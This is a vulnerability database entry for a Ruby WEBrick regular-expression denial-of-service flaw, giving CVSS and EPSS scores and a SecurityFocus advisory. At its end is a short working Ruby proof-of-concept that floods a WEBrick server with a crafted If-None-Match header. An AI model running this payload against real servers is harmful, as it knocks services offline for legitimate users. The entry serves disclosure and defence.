CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Algorithmic complexity vulnerability in the WEBrick::HTTPUtils.split_header_value function in WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 through 1.8.6-p286, 1.8.7 through 1.8.7-p71, and 1.9 through r18423 allows context-dependent attackers to cause a denial of service (CPU consumption) via a crafted HTTP request that is processed by a backtracking regular expression.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.8
AV:N/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
38.77%
–
–
2022-04-03
–
–
38.77%
–
–
2023-03-12
–
–
–
9.12%
–
2023-06-18
–
–
–
8.73%
–
2023-08-27
–
–
–
12.08%
–
2024-01-21
–
–
–
10.72%
–
2024-06-02
–
–
–
10.27%
–
2024-06-09
–
–
–
–
–
2024-06-09
–
–
–
13.07%
–
2024-07-14
–
–
–
10.07%
–
2024-09-29
–
–
–
14.22%
–
2024-12-08
–
–
–
9.69%
–
2024-12-22
–
–
–
12.48%
–
2025-01-19
–
–
–
10.08%
–
2025-01-19
–
–
–
10.08%
–
2025-03-18
–
–
–
–
69.46%
2025-03-30
–
–
–
–
67.85%
2025-04-23
–
–
–
–
63.07%
2025-04-23
–
–
–
–
63.07,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/30644/info
Ruby is prone to multiple vulnerabilities that can be leveraged to bypass security restrictions or cause a denial of service:
- Multiple security-bypass vulnerabilities occur because of errors in the 'safe level' restriction implementation. Attackers can leverage these issues to make insecure function calls and perform 'Syslog' operations.
- An error affecting 'WEBrick::HHTP::DefaultFileHandler' can exhaust system resources and deny service to legitimate users.
- A flaw in 'dl' can allow attackers to call unauthorized functions.
Attackers can exploit these issues to perform unauthorized actions on affected applications. This may aid in compromising the application and possibly the underlying computers. Attackers can also cause denial-of-service conditions.
These issues affect Ruby 1.8.5, 1.8.6-p286, 1.8.7-p71, and 1.9 r18423. Prior versions are also vulnerable.
#-- Exploitable Server --
# require 'webrick'
# WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start
#-- Attack --
require 'net/http'
res = Net::HTTP.start("localhost", 2000) { |http|
req = Net::HTTP::Get.new("/passwd")
req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
http.request(req)
}
p res